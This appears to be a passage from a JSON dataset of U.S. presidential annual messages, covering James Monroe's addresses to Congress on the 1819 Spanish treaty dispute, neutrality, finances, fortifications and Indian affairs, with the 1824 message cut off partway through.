documents\ncommunicated it will be seen that the efforts of the United States to\nsuppress it have had a very salutary effect. The benevolent provision of\nthe act under which the protection has been extended alike to the commerce\nof other nations can not fail to be duly appreciated by them.In compliance with the act of the last session entitled \"An act to abolish\nthe United States trading establishments\", agents were immediately\nappointed and instructed, under the direction of the Secretary of the\nTreasury, to close the business of the trading houses among the Indian\ntribes and to settle the accounts of the factors and sub-factors engaged\nin that trade, and to execute in all other respects the injunction of that\nact in the mode prescribed therein. A final report of their proceedings\nshall be communicated to Congress as soon as it is received.It is with great regret I have to state that a serious malady has deprived\nus of many valuable citizens of Pensacola and checked the progress of some\nof those arrangements which are important to the Territory. This effect has\nbeen sensibly felt in respect to the Indians who inhabit that Territory,\nconsisting of the remnants of the several tribes who occupy the middle\nground between St. Augustine and Pensacola, with extensive claims but\nundefined boundaries. Although peace is preserved with those Indians, yet\ntheir position and claims tend essentially to interrupt the intercourse\nbetween the eastern and western parts of the Territory, on which our\ninhabitants are principally settled. It is essential to the growth and\nprosperity of the Territory, as well as to the interests of the Union, that\nthose Indians should be removed, by special compact with them, to some\nother position or concentration within narrower limits where they are. With\nthe limited means in the power of the Executive, instructions were given to\nthe governor to accomplish this object so far as it might be practicable,\nwhich was prevented by the distressing malady referred to. To carry it\nfully into effect in either mode additional funds will be necessary, to the\nprovision of which the powers of Congress are competent. With a view to\nsuch provision as may be deemed proper, the subject is submitted to your\nconsideration, and in the interim further proceedings are suspended.It appearing that so much of the act entitled \"An act regulating the staff\nof the Army\", which passed on April 14, 1818, as relates to the\ncommissariat will expire in April next, and the practical operation of\nthat department having evinced its great utility, the propriety of its\nrenewal is submitted to your consideration.The view which has been taken of the probable productiveness of the lead\nmines, connected with the importance of the material to the public defense,\nmakes it expedient that they should be managed with peculiar care. It is\ntherefore suggested whether it will not comport with the public interest to\nprovide by law for the appointment of an agent skilled in mineralogy to\nsuperintend them, under the direction of the proper department.It is understood that the Cumberland road, which was constructed at great\nexpense, has already suffered from the want of that regular superintendence\nand of those repairs which are indispensable to the preservation of such a\nwork. This road is of incalculable advantage in facilitating the\nintercourse between the Western and the Atlantic States. Through the whole\ncountry from the northern extremity of Lake Erie to the Mississippi, and\nfrom all the waters which empty into each, finds an easy and direct\ncommunication to the seat of Government, and thence to the Atlantic. The\nfacility which it affords to all military and commercial operations, and\nalso to those of the Post Office Department, can not be estimated too\nhighly. This great work is likewise an ornament and an honor to the\nnation.Believing that a competent power to adopt and execute a system of internal\nimprovement has not been granted to Congress, but that such a power,\nconfined to great national purposes and with proper limitations, would be\nproductive of eminent advantage to our Union, I have thought it advisable\nthat an amendment of the Constitution to that effect should be recommended\nto the several States.A bill which assumed the right to adopt and execute such a system having\nbeen presented for my signature at the last session, I was compelled, from\nthe view which I had taken of the powers of the General Government, to\nnegative it, on which occasion I thought it proper to communicate the\nsentiments which I had formed, on mature consideration, on the whole\nsubject. To that communication, in all the views in which the great\ninterest to which it relates may be supposed to merit your attention, I\nhave now to refer. Should Congress, however, deem it improper to recommend\nsuch an amendment, they have, according to my judgment, the right to keep\nthe road in repair by providing for the superintendence of it and\nappropriating the money necessary for repairs. Surely if they had the right\nto appropriate money to make the road they have a right to appropriate it\nto preserve the road from ruin. From the exercise of this power no danger\nis to be apprehended.Under our happy system the people are the sole and exclusive fountain of\npower. Each Government originates from them, and to them alone, each to its\nproper constituents, are they respectively and solely responsible for the\nfaithful discharge of their duties within their constitutional limits; and\nthat the people will confine their public agents of every station to the\nstrict line of their constitutional duties there is no cause of doubt.Having, however, communicated my sentiments to Congress at the last session\nfully in the document to which I have referred, respecting the right of\nappropriation as distinct from the right of jurisdiction and sovereignty\nover the territory in question, I deem it improper to enlarge on the\nsubject here.From the best information I have been able to obtain it appears that our\nmanufactures, though depressed immediately after the peace, have\nconsiderably increased, and are still increasing, under the encouragement\ngiven them by the tariff of 1816 and by subsequent laws. Satisfied I am,\nwhatever may be the abstract doctrine in favor of unrestricted commerce,\nprovided all nations would concur in it and it was not liable to be\ninterrupted by war, which has never occurred and can not be expected, that\nthere are other strong reasons applicable to our situation and relations\nwith other countries which impose on us the obligation to cherish and\nsustain our manufactures.Satisfied, however, I likewise am that the interest of every part of our\nUnion, even of those most benefitted by manufactures, requires that this\nsubject should be touched with the greatest caution, and a critical\nknowledge of the effect to be produced by the slightest change. On full\nconsideration of the subject in all its relations I am persuaded that a\nfurther augmentation may now be made of the duties on certain foreign\narticles in favor of our own and without affecting injuriously any other\ninterest. For more precise details I refer you to the communications which\nwere made to Congress during the last session.So great was the amount of accounts for moneys advanced during the late\nwar, in addition to others of a previous date which in the regular\noperations of the Government necessarily remained unsettled, that it\nrequired a considerable length of time for their adjustment. By a report\nfrom the first Comptroller of the Treasury it appears that on March 4th,\n1817, the accounts then unsettled amounted to $103,068,876.41, of which on\nSeptember 30th, 1822, $93,175,396.56 had been settled, leaving on that day\na balance unsettled of $9,893,479.85. That there have been drawn from the\nTreasury, in paying the public debt and sustaining the Government in all\nits operations and disbursements, since March 4th, 1817, $157,199,380.96,\nthe accounts for which have been settled to the amount of $137,501,451.12,\nleaving a balance unsettled of $19,697,929.84. For precise details\nrespecting each of these balances I refer to the report of the Comptroller\nand the documents which accompany it.From this view it appears that our commercial differences with France and\nGreat Britain have been placed in a train of amicable arrangement on\nconditions fair and honorable in both instances to each party; that our\nfinances are in a very productive state, our revenue being at present fully\ncompetent to all the demands upon it; that our military force is well\norganized in all its branches and capable of rendering the most important\nservice in case of emergency that its number will admit of; that due\nprogress has been made, under existing appropriations, in the construction\nof fortifications and in the operations of the Ordnance Department; that\ndue progress has in like manner been made in the construction of ships of\nwar; that our Navy is in the best condition, felt and respected in every\nsea in which it is employed for the protection of our commerce; that our\nmanufactures have augmented in amount and improved in quality; that great\nprogress has been made in the settlement of accounts and in the recovery of\nthe balances due by individuals, and that the utmost economy is secured and\nobserved in every Department of the Administration. Other objects will\nlikewise claim your attention, because from the station which the United\nStates hold as a member of the great community of nations they have rights\nto maintain, duties to perform, and dangers to encounter.A strong hope was entertained that peace would ere this have been concluded\nbetween Spain and the independent governments south of the United States in\nthis hemisphere. Long experience having evinced the competency of those\ngovernments to maintain the independence which they had declared, it was\npresumed that the considerations which induced their recognition by the\nUnited States would have had equal weight with other powers, and that Spain\nherself, yielding to those magnanimous feelings of which her history\nfurnishes so many examples, would have terminated on that basis a\ncontroversy so unavailing and at the same time so destructive. We still\ncherish the hope that this result will not long be postponed.Sustaining our neutral position and allowing to each party while the war\ncontinues equal rights, it is incumbent on the United States to claim of\neach with equal rigor the faithful observance of our rights according to\nthe well-known law of nations. From each, therefore, a like cooperation is\nexpected in the suppression of the piratical practice which has grown out\nof this war and of blockades of extensive coasts on both seas, which,\nconsidering the small force employed to sustain them, have not the\nslightest foundation to rest on.Europe is still unsettled, and although the war long menaced between Russia\nand Turkey has not broken out, there is no certainty that the differences\nbetween those powers will be amicably adjusted. It is impossible to look to\nthe oppressions of the country respecting which those differences arose\nwithout being deeply affected. The mention of Greece fills the mind with\nthe most exalted sentiments and arouses in our bosoms the best feelings of\nwhich our nature is susceptible. Superior skill and refinement in the arts,\nheroic gallantry in action, disinterested patriotism, enthusiastic zeal and\ndevotion in favor of public and personal liberty are associated with our\nrecollections of ancient Greece. That such a country should have been\noverwhelmed and so long hidden, as it were, from the world under a gloomy\ndespotism has been a cause of unceasing and deep regret to generous minds\nfor ages past. It was natural, therefore, that the reappearance of those\npeople in their original character, contending in favor of their liberties,\nshould produce that great excitement and sympathy in their favor which have\nbeen so signally displayed throughout the United States. A strong hope is\nentertained that these people will recover their independence and resume\ntheir equal station among the nations of the earth.A great effort has been made in Spain and Portugal to improve the condition\nof the people, and it must be very consoling to all benevolent minds to see\nthe extraordinary moderation with which it has been conducted. That it may\npromote the happiness of both nations is the ardent wish of this whole\npeople, to the expression of which we confine ourselves; for whatever may\nbe the feelings or sentiments which every individual under our Government\nhas a right to indulge and express, it is nevertheless a sacred maxim,\nequally with the Government and people, that the destiny of every\nindependent nation in what relates to such improvements of right belongs\nand ought to be left exclusively to themselves.Whether we reason from the late wars or from those menacing symptoms which\nnow appear in Europe, it is manifest that if a convulsion should take place\nin any of those countries it will proceed from causes which have no\nexistence and are utterly unknown in these States, in which there is but\none order, that of the people, to whom the sovereignty exclusively\nbelongs.Should war break out in any of those countries who can foretell the extent\nto which it may be carried or the desolation which it may spread? Exempt as\nwe are from these causes, our internal tranquillity is secure; and distant\nas we are from the troubled scene, and faithful to first principles in\nregard to other powers, we might reasonably presume that we should not be\nmolested by them. This, however, ought not to be calculated on as certain.\nUnprovoked injuries are often inflicted and even the peculiar felicity of\nour situation might with some be a cause for excitement and aggression.The history of the late wars in Europe furnishes a complete demonstration\nthat no system of conduct, however correct in principle, can protect\nneutral powers from injury from any party; that a defenseless position and\ndistinguished love of peace are the surest invitations to war, and that\nthere is no way to avoid it other than by being always prepared and willing\nfor just cause to meet it. If there be a people on earth whose more\nespecial duty it is to be at all times prepared to defend the rights with\nwhich they are blessed, and to surpass all others in sustaining the\nnecessary burthens, and in submitting to sacrifices to make such\npreparations, it is undoubtedly the people of these States.When we see that a civil war of the most frightful character rages from the\nAdriatic to the Black Sea; that strong symptoms of war appear in other\nparts, proceeding from causes which, should it break out, may become\ngeneral and be of long duration; that the war still continues between Spain\nand the independent governments, her late Provinces, in this hemisphere;\nthat it is likewise menaced between Portugal and Brazil, in consequence of\nthe attempt of the latter to dismember itself from the former, and that a\nsystem of piracy of great extent is maintained in the neighboring seas,\nwhich will require equal vigilance and decision to suppress it, the reasons\nfor sustaining the attitude which we now hold and for pushing forward all\nour measures of defense with the utmost vigor appear to me to acquire new\nforce.The United States owe to the world a great example, and, by means thereof,\nto the cause of liberty and humanity a generous support. They have so far\nsucceeded to the satisfaction of the virtuous and enlightened of every\ncountry. There is no reason to doubt that their whole movement will be\nregulated by a sacred regard to principle, all our institutions being\nfounded on that basis. The ability to support our own cause under any trial\nto which it may be exposed is the great point on which the public\nsolicitude rests.It has been often charged against free governments that they have neither\nthe foresight nor the virtue to provide at the proper season for great\nemergencies; that their course is improvident and expensive; that war will\nalways find them unprepared, and, whatever may be its calamities, that its\nterrible warnings will be disregarded and forgotten as soon as peace\nreturns. I have full confidence that this charge so far as relates to the\nUnited States will be shewn to be utterly destitute of truth.", 
+    "name": "James Monroe"
+}
\ No newline at end of file
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+{
+    "date": "December 7, 1819", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:The public buildings being advanced to a stage to afford accommodation for\nCongress, I offer you my sincere congratulations on the recommencement of\nyour duties in the Capitol.In bringing you to view the incidents most deserving attention which have\noccurred since your last session, I regret to have to state that several of\nour principal cities have suffered by sickness, that an unusual drought has\nprevailed in the Middle and Western States, and that a derangement has been\nfelt in some of our moneyed institutions which has proportionably affected\ntheir credit. I am happy, however, to have it in my power to assure you\nthat the health of our cities is now completely restored; that the produce\nof the year, though less abundant than usual, will not only be amply\nsufficient for home consumption, but afford a large surplus for the supply\nof the wants of other nations, and that the derangement in the circulating\npaper medium, by being left to those remedies which its obvious causes\nsuggested and the good sense and virtue of our fellow citizens supplied,\nhas diminished.Having informed Congress, on the 27th of February last, that a treaty of\namity, settlement, and limits had been concluded in this city between the\nUnited States and Spain, and ratified by the competent authorities of the\nformer, full confidence was entertained that it would have been ratified by\nHis Catholic Majesty with equal promptitude and a like earnest desire to\nterminate on the conditions of that treaty the differences which had so\nlong existed between the two countries. Every view which the subject\nadmitted of was thought to have justified this conclusion.Great losses had been sustained by citizens of the United States from\nSpanish cruisers more than 20 years before, which had not been redressed.\nThese losses had been acknowledged and provided for by a treaty as far back\nas the year 1802, which, although concluded at Madrid, was not then\nratified by the Government of Spain, nor since, until the last year, when\nit was suspended by the late treaty, a more satisfactory provision to both\nparties, as was presumed, having been made for them. Other differences had\narisen in this long interval, affecting their highest interests, which were\nlikewise provided for by this last treaty.The treaty itself was formed on great consideration and a thorough\nknowledge of all circumstances, the subject matter of every article having\nbeen for years under discussion and repeated references having been made by\nthe minister of Spain to his Government on the points respecting which the\ngreatest difference of opinion prevailed. It was formed by a minister duly\nauthorized for the purpose, who had represented his Government in the\nUnited States and been employed in this long-protracted negotiation\nseveral years, and who, it is not denied, kept strictly within the letter\nof his instructions. The faith of Spain was therefore pledged, under\ncircumstances of peculiar force and solemnity, for its ratification.On the part of the United States this treaty was evidently acceded to in a\nspirit of conciliation and concession. The indemnity for injuries and\nlosses so long before sustained, and now again acknowledged and provided\nfor, was to be paid by them without becoming a charge on the treasury of\nSpain. For territory ceded by Spain other territory of great value, to\nwhich our claim was believed to be well founded, was ceded by the United\nStates, and in a quarter more interesting to her. This cession was\nnevertheless received as the means of indemnifying our citizens in a\nconsiderable sum, the presumed amount of their losses.Other considerations of great weight urged the cession of this territory by\nSpain. It was surrounded by the Territories of the United States on every\nside except on that of the ocean. Spain had lost her authority over it,\nand, falling into the hands of adventurers connected with the savages, it\nwas made the means of unceasing annoyance and injury to our Union in many\nof its most essential interests. By this cession, then, Spain ceded a\nterritory in reality of no value to her and obtained concessions of the\nhighest importance by the settlement of long-standing differences with the\nUnited States affecting their respective claims and limits, and likewise\nrelieved herself from the obligation of a treaty relating to it which she\nhad failed to fulfill, and also from the responsibility incident to the\nmost flagrant and pernicious abuses of her rights where she could not\nsupport her authority.It being known that the treaty was formed under these circumstances, not a\ndoubt was entertained that His Catholic Majesty would have ratified it\nwithout delay. I regret to have to state that this reasonable expectation\nhas been disappointed; that the treaty was not ratified within the time\nstipulated and has not since been ratified. As it is important that the\nnature and character of this unexpected occurrence should be distinctly\nunderstood, I think it my duty to communicate to you all the facts and\ncircumstances in my possession relating to it.Anxious to prevent all future disagreement with Spain by giving the most\nprompt effect to the treaty which had been thus concluded, and particularly\nby the establishment of a Government in Florida which should preserve order\nthere, the minister of the United States who had been recently appointed to\nHis Catholic Majesty, and to whom the ratification by his Government had\nbeen committed to be exchanged for that of Spain, was instructed to\ntransmit the latter to the Department of State as soon as obtained, by a\npublic ship subjected to his order for the purpose.Unexpected delay occurring in the ratification by Spain, he requested to be\ninformed of the cause. It was stated in reply that the great importance of\nthe subject, and a desire to obtain explanations on certain points which\nwere not specified, had produced the delay, and that an envoy would be\ndispatched to the United States to obtain such explanations of this\nGovernment. The minister of the United States offered to give full\nexplanation on any point on which it might be desired, which proposal was\ndeclined. Having communicated this result to the Department of State in\nAugust last, he was instructed, notwithstanding the disappointment and\nsurprise which it produced, to inform the Government of Spain that if the\ntreaty should be ratified and transmitted here at any time before the\nmeeting of Congress it would be received and have the same effect as if it\nhad been ratified in due time.This order was executed, the authorized communication was made to the\nGovernment of Spain, and by its answer, which has just been received, we\nare officially made acquainted for the first time with the causes which\nhave prevented the ratification of the treaty by His Catholic Majesty. It\nis alleged by the minister of Spain that his Government had attempted to\nalter one of the principal articles of the treaty by a declaration which\nthe minister of the United States had been ordered to present when he\nshould deliver the ratification by his Government in exchange for that of\nSpain, and of which he gave notice, explanatory of the sense in which that\narticle was understood. It is further alleged that this Government had\nrecently tolerated or protected an expedition from the United States\nagainst the Province of Texas. These two imputed acts are stated as the\nreasons which have induced His Catholic Majesty to withhold his\nratification from the treaty, to obtain explanations respecting which it is\nrepeated that an envoy would be forthwith dispatched to the United States.\nHow far these allegations will justify the conduct of the Government of\nSpain will appear on a view of the following facts and the evidence which\nsupports them:It will be seen by the documents transmitted herewith that the declaration\nmentioned relates to a clause in the 8th article concerning certain grants\nof land recently made by His Catholic Majesty in Florida, which it was\nunderstood had conveyed all the lands which until then had been ungranted;\nit was the intention of the parties to annul these latter grants, and that\nclause was drawn for that express purpose and for none other. The date of\nthese grants was unknown, but it was understood to be posterior to that\ninserted in the article; indeed, it must be obvious to all that if that\nprovision in the treaty had not the effect of annulling these grants, it\nwould be altogether nugatory. Immediately after the treaty was concluded\nand ratified by this Government an intimation was received that these\ngrants were of anterior date to that fixed on by the treaty and that they\nwould not, of course, be affected by it. The mere possibility of such a\ncase, so inconsistent with the intention of the parties and the meaning of\nthe article, induced this Government to demand an explanation on the\nsubject, which was immediately granted, and which corresponds with this\nstatement.With regard to the other act alleged, that this Government had tolerated\nor protected an expedition against Texas, it is utterly without\nfoundation. Every discountenance has invariably been given to any such\nattempt within the limits of the United States, as is fully evinced by the\nacts of the Government and the proceedings of the courts. There being\ncause, however, to apprehend, in the course of the last summer, that some\nadventurers entertained views of the kind suggested, the attention of the\nconstituted authorities in that quarter was immediately drawn to them,\nand it is known that the project, whatever it might be, has utterly\nfailed.These facts will, it is presumed, satisfy every impartial mind that the\nGovernment of Spain had no justifiable cause for declining to ratify the\ntreaty. A treaty concluded in conformity with instructions is obligatory,\nin good faith, in all its stipulations, according to the true intent and\nmeaning of the parties. Each party is bound to ratify it. If either could\nset it aside without the consent of the other, there would be no longer any\nrules applicable to such transactions between nations.By this proceeding the Government of Spain has rendered to the United\nStates a new and very serious injury. It has been stated that a minister\nwould be sent to ask certain explanations of this Government; but if such\nwere desired, why were they not asked within the time limited for the\nratification?Is it contemplated to open a new negotiation respecting any of the articles\nor conditions of the treaty? If that were done, to what consequences might\nit not lead? At what time and in what manner would a new negotiation\nterminate? By this proceeding Spain has formed a relation between the two\ncountries which will justify any measures on the part of the United States\nwhich a strong sense of injury and a proper regard for the rights and\ninterests of the nation may dictate.In the course to be pursued these objects should be constantly held in view\nand have their due weight. Our national honor must be maintained, and a new\nand a distinguished proof be afforded of that regard for justice and\nmoderation which has invariably governed the councils of this free people.\nIt must be obvious to all that if the United States had been desirous of\nmaking conquests, or had been even willing to aggrandize themselves in that\nway, they could have had no inducement to form this treaty. They would have\nmuch cause for gratulation at the course which has been pursued by Spain.\nAn ample field for ambition is open before them, but such a career is not\nconsistent with the principles of their Government nor the interests of the\nnation.From a full view of all circumstances, it is submitted to the consideration\nof Congress whether it will not be proper for the United States to carry\nthe conditions of the treaty into effect in the same manner as if it had\nbeen ratified by Spain, claiming on their part all its advantages and\nyielding to Spain those secured to her. By pursuing this course we shall\nrest on the sacred ground of right, sanctioned in the most solemn manner by\nSpain herself by a treaty which she was bound to ratify, for refusing to do\nwhich she must incur the censure of other nations, even those most friendly\nto her, while by confining ourselves within that limit we can not fail to\nobtain their well-merited approbation.We must have peace on a frontier where we have been so long disturbed; our\ncitizens must be indemnified for losses so long since sustained, and for\nwhich indemnity has been so unjustly withheld from them. Accomplishing\nthese great objects, we obtain all that is desirable.But His Catholic Majesty has twice declared his determination to send a\nminister to the United States to ask explanations on certain points and to\ngive them respecting his delay to ratify the treaty. Shall we act by taking\nthe ceded territory and proceeding to execute the other conditions of the\ntreaty before this minister arrives and is heard?This is a case which forms a strong appeal to the candor, the magnanimity,\nand the honor of this people. Much is due to courtesy between nations. By a\nshort delay we shall lose nothing, for, resting on the ground of immutable\ntruth and justice, we can not be diverted from our purpose.It ought to be presumed that the explanations which may be given to the\nminister of Spain will be satisfactory, and produce the desired result. In\nany event, the delay for the purpose mentioned, being a further\nmanifestation of the sincere desire to terminate in the most friendly\nmanner all differences with Spain, can not fail to be duly appreciated by\nHis Catholic Majesty as well as by other powers. It is submitted,\ntherefore, whether it will not be proper to make the law proposed for\ncarrying the conditions of the treaty into effect, should it be adopted,\ncontingent; to suspend its operation, upon the responsibility of the\nExecutive, in such manner as to afford an opportunity for such friendly\nexplanations as may be desired during the present session of Congress.I communicate to Congress a copy of the treaty and of the instructions to\nthe minister of the United States at Madrid respecting it; of his\ncorrespondence with the minister of Spain, and of such other documents as\nmay be necessary to give a full view of the subject.In the course which the Spanish Government have on this occasion thought\nproper to pursue it is satisfactory to know that they have not been\ncountenanced by any other European power. On the contrary, the opinion and\nwishes both of France and Great Britain have not been withheld either from\nthe United States or from Spain, and have been unequivocal in favor of the\nratification. There is also reason to believe that the sentiments of the\nImperial Government of Russia have been the same, and that they have also\nbeen made known to the cabinet of Madrid.In the civil war existing between Spain and the Spanish Provinces in this\nhemisphere the greatest care has been taken to enforce the laws intended to\npreserve an impartial neutrality. Our ports have continued to be equally\nopen to both parties and on the same conditions, and our citizens have been\nequally restrained from interfering in favor of either to the prejudice of\nthe other. The progress of the war, however has operated manifestly in\nfavor of the colonies. Buenos Ayres still maintains unshaken the\nindependence which it declared in 1816, and has enjoyed since 1810. Like\nsuccess has also lately attended Chili and the Provinces north of the La\nPlata bordering on it, and likewise Venezuela.This contest has from its commencement been very interesting to other\npowers, and to none more so than to the United States. A virtuous people\nmay and will confine themselves within the limit of a strict neutrality;\nbut it is not in their power to behold a conflict so vitally important to\ntheir neighbors without the sensibility and sympathy which naturally belong\nto such a case. It has been the steady purpose of this Government to\nprevent that feeling leading to excess, and it is very gratifying to have\nit in my power to state that so strong has been the sense throughout the\nwhole community of what was due to the character and obligations of the\nnation that very few examples of a contrary kind have occurred.The distance of the colonies from the parent country and the great extent\nof their population and resources gave them advantages which it was\nanticipated at a very early period would be difficult for Spain to\nsurmount. The steadiness, consistency, and success with which they have\npursued their object, as evinced more particularly by the undisturbed\nsovereignty which Buenos Ayres has so long enjoyed, evidently give them a\nstrong claim to the favorable consideration of other nations. These\nsentiments on the part of the United States have not been withheld from\nother powers, with whom it is desirable to act in concert. Should it become\nmanifest to the world that the efforts of Spain to subdue these Provinces\nwill be fruitless, it may be presumed that the Spanish Government itself\nwill give up the contest. In producing such a determination it can not be\ndoubted that the opinion of friendly powers who have taken no part in the\ncontroversy will have their merited influence.It is of the highest importance to our national character and indispensable\nto the morality of our citizens that all violations of our neutrality\nshould be prevented. No door should be left open for the evasion of our\nlaws, no opportunity afforded to any who may be disposed to take advantage\nof it to compromit the interest or the honor of the nation. It is\nsubmitted, therefore, to the consideration of Congress whether it may not\nbe advisable to revise the laws with a view to this desirable result.It is submitted also whether it may not be proper to designate by law the\nseveral ports or places along the coast at which only foreign ships of war\nand privateers may be admitted. The difficulty of sustaining the\nregulations of our commerce and of other important interests from abuse\nwithout such designation furnishes a strong motive for this measure.At the time of the negotiation for the renewal of the commercial convention\nbetween the United States and Great Britain a hope had been entertained\nthat an article might have been agreed upon mutually satisfactory to both\ncountries, regulating upon principles of justice and reciprocity the\ncommercial intercourse between the United States and the British\npossessions as well in the West Indies as upon the continent of North\nAmerica. The plenipotentiaries of the two Governments not having been able\nto come to an agreement on this important interest, those of the United\nStates reserved for the consideration of this Government the proposals\nwhich had been presented to them as the ultimate offer on the part of the\nBritish Government, and which they were not authorized to accept. On their\ntransmission here they were examined with due deliberation, the result of\nwhich was a new effort to meet the views of the British Government. The\nminister of the United States was instructed to make a further proposal,\nwhich has not been accepted. It was, however, declined in an amicable\nmanner. I recommend to the consideration of Congress whether further\nprohibitory provisions in the laws relating to this intercourse may not be\nexpedient. It is seen with interest that although it has not been\npracticable as yet to agree in any arrangement of this important branch of\ntheir commerce, such is the disposition of the parties that each will view\nany regulations which the other may make respecting it in the most friendly\nlight.By the 5th article of the convention concluded on October 20th, 1818, it\nwas stipulated that the differences which have arisen between the two\nGovernments with respect to the true intent and meaning of the 5th article\nof the treaty of Ghent, in relation to the carrying away by British\nofficers of slaves from the United States after the exchange of the\nratifications of the treaty of peace, should be referred to the decision of\nsome friendly sovereign or state to be named for that purpose. The minister\nof the United States has been instructed to name to the British Government\na foreign sovereign, the common friend to both parties, for the decision of\nthis question. The answer of that Government to the proposal when received\nwill indicate the further measures to be pursued on the part of the United\nStates.Although the pecuniary embarrassments which affected various parts of the\nUnion during the latter part of the preceding year have during the present\nbeen considerably augmented, and still continue to exist, the receipts into\nthe Treasury to the 30th of September last have amounted to $19 millions.\nAfter defraying the current expenses of the Government, including the\nInterest and reimbursement of the public debt payable to that period,\namounting to $18.2 millions, there remained in the Treasury on that day\nmore than $2.5 millions, which, with the sums receivable during the\nremainder of the year, will exceed the current demands upon the Treasury\nfor the same period.The causes which have tended to diminish the public receipts could not fail\nto have a corresponding effect upon the revenue which has accrued upon\nimposts and tonnage during the three first quarters of the present year. It\nis, however, ascertained that the duties which have been secured during\nthat period exceed $18 millions, and those of the whole year will probably\namount to $23 millions.For the probable receipts of the next year I refer you to the statements\nwhich will be transmitted from the Treasury, which will enable you to judge\nwhether further provision be necessary.The great reduction in the price of the principal articles of domestic\ngrowth which has occurred during the present year, and the consequent fall\nin the price of labor, apparently so favorable to the success of domestic\nmanufactures, have not shielded them against other causes adverse to their\nprosperity. The pecuniary embarrassments which have so deeply affected the\ncommercial interests of the nation have been no less adverse to our\nmanufacturing establishments in several sections of the Union.The great reduction of the currency which the banks have been constrained\nto make in order to continue specie payments, and the vitiated character of\nit where such reductions have not been attempted, instead of placing within\nthe reach of these establishments the pecuniary aid necessary to avail\nthemselves of the advantages resulting from the reduction in the prices of\nthe raw materials and of labor, have compelled the banks to withdraw from\nthem a portion of the capital heretofore advanced to them. That aid which\nhas been refused by the banks has not been obtained from other sources,\nowing to the loss of individual confidence from the frequent failures which\nhave recently occurred in some of our principal commercial cities.An additional cause for the depression of these establishments may probably\nbe found in the pecuniary embarrassments which have recently affected those\ncountries with which our commerce has been principally prosecuted. Their\nmanufactures, for the want of a ready or profitable market at home, have\nbeen shipped by the manufacturers to the United States, and in many\ninstances sold at a price below their current value at the place of\nmanufacture. Although this practice may from its nature be considered\ntemporary or contingent, it is not on that account less injurious in its\neffects. Uniformity in the demand and price of an article is highly\ndesirable to the domestic manufacturer.It is deemed of great importance to give encouragement to our domestic\nmanufacturers. In what manner the evils which have been adverted to may be\nremedied, and how far it may be practicable in other respects to afford to\nthem further encouragement, paying due regard to the other great interests\nof the nation, is submitted to the wisdom of Congress.The survey of the coast for the establishment of fortifications is now\nnearly completed, and considerable progress has been made in the collection\nof materials for the construction of fortifications in the Gulf of Mexico\nand in the Chesapeake Bay. The works on the eastern bank of the Potomac\nbelow Alexandria and on the Pea Patch, in the Delaware, are much advanced,\nand it is expected that the fortifications at the Narrows, in the harbor of\nNew York, will be completed the present year. To derive all the advantages\ncontemplated from these fortifications it was necessary that they should be\njudiciously posted, and constructed with a view to permanence. The progress\nhitherto has therefore been slow; but as the difficulties in parts\nheretofore the least explored and known are surmounted, it will in future\nbe more rapid. As soon as the survey of the coast is completed, which it is\nexpected will be done early in the next spring, the engineers employed in\nit will proceed to examine for like purposes the northern and northwestern\nfrontiers.The troops intended to occupy a station at the mouth of the St. Peters, on\nthe Mississippi, have established themselves there, and those who were\nordered to the mouth of the Yellow Stone, on the Missouri, have ascended\nthat river to the Council Bluff, where they will remain until the next\nspring, when they will proceed to the place of their destination. I have\nthe satisfaction to state that this measure has been executed in amity with\nthe Indian tribes, and that it promises to produce, in regard to them, all\nthe advantages which were contemplated by it.Much progress has likewise been made in the construction of ships of war\nand in the collection of timber and other materials for ship building. It\nis not doubted that our Navy will soon be augmented to the number and\nplaced in all respects on the footing provided for by law.The Board, consisting of engineers and naval officers, have not yet made\ntheir final report of sites for two naval depots, as instructed according\nto the resolutions of March 18th, 1818 and April 20th, 1818, but they\nhave examined the coast therein designated, and their report is expected\nin the next month.For the protection of our commerce in the Mediterranean, along the southern\nAtlantic coast, in the Pacific and Indian oceans, it has been found\nnecessary to maintain a strong naval force, which it seems proper for the\npresent to continue. There is much reason to believe that if any portion of\nthe squadron heretofore stationed in the Mediterranean should be withdrawn\nour intercourse with the powers bordering on that sea would be much\ninterrupted, if not altogether destroyed. Such, too, has been the growth of\na spirit of piracy in the other quarters mentioned, by adventurers from\nevery country, in abuse of the friendly flags which they have assumed, that\nnot to protect our commerce there would be to abandon it as a prey to\ntheir rapacity.Due attention has likewise been paid to the suppression of the slave trade,\nin compliance with a law of the last session. Orders have been given to the\ncommanders of all our public ships to seize all vessels navigated under our\nflag engaged in that trade, and to bring them in to be proceeded against in\nthe manner prescribed by the law. It is hoped that these vigorous measures,\nsupported by like acts by other nations, will soon terminate a commerce so\ndisgraceful to the civilized world.In the execution of the duty imposed by these acts, and of a high trust\nconnected with it, it is with deep regret I have to state the loss which\nhas been sustained by the death of Commodore Perry. His gallantry in a\nbrilliant exploit in the late war added to the renown of his country. His\ndeath is deplored as a national misfortune.", 
+    "name": "James Monroe"
+}
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+{
+    "date": "December 7, 1824", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:The view which I have now to present to you of our affairs, foreign and\ndomestic, realizes the most sanguine anticipations which have been\nentertained of the public prosperity. If we look to the whole, our growth\nas a nation continues to be rapid beyond example; if to the States which\ncompose it, the same gratifying spectacle is exhibited. Our expansion over\nthe vast territory within our limits has been great, without indicating any\ndecline in those sections from which the emigration has been most\nconspicuous. We have daily gained strength by a native population in every\nquarter--a population devoted to our happy system of government and\ncherishing the bond of union with internal affection.Experience has already shewn that the difference of climate and of\nindustry, proceeding from that cause, inseparable from such vast domains,\nand which under other systems might have a repulsive tendency, can not fail\nto produce with us under wise regulations the opposite effect. What one\nportion wants the other may supply; and this will be most sensibly felt by\nthe parts most distant from each other, forming thereby a domestic market\nand an active intercourse between the extremes and throughout every portion\nof our Union.Thus by a happy distribution of power between the National and State\nGovernments, Governments which rest exclusively on the sovereignty of the\npeople and are fully adequate to the great purposes for which they were\nrespectively instituted, causes which might otherwise lead to dismemberment\noperate powerfully to draw us closer together.In every other circumstance a correct view of the actual state of our Union\nmust be equally gratifying to our constituents. Our relations with foreign\npowers are of a friendly character, although certain interesting\ndifferences remain unsettled with some. Our revenue under the mild system\nof impost and tonnage continues to be adequate to all the purposes of the\nGovernment. Our agriculture, commerce, manufactures, and navigation\nflourish. Our fortifications are advancing in the degree authorized by\nexisting appropriations to maturity, and due progress is made in the\naugmentation of the Navy to the limit prescribed for it by law. For these\nblessings we owe to Almighty God, from whom we derive them, and with\nprofound reverence, our most grateful and unceasing acknowledgments.In adverting to our relations with foreign powers, which are always an\nobject of the highest importance, I have to remark that of the subjects\nwhich have been brought into discussion with them during the present\nAdministration some have been satisfactorily terminated, others have 